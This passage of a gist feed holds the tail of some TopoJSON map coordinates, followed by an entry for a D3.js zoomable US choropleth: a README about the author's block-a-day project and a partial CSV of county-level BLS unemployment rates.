45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/1f1955af07b8a6b8280fa6a86b3bf033">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/f41c371da87a76c88b768c67e382e3ad</link>
      <guid isPermaLink="true">https://gist.github.com/f41c371da87a76c88b768c67e382e3ad</guid>
      <pubDate>Wed, 21 Sep 2016 15:43:33 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:16:50.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>2739</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>5980</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
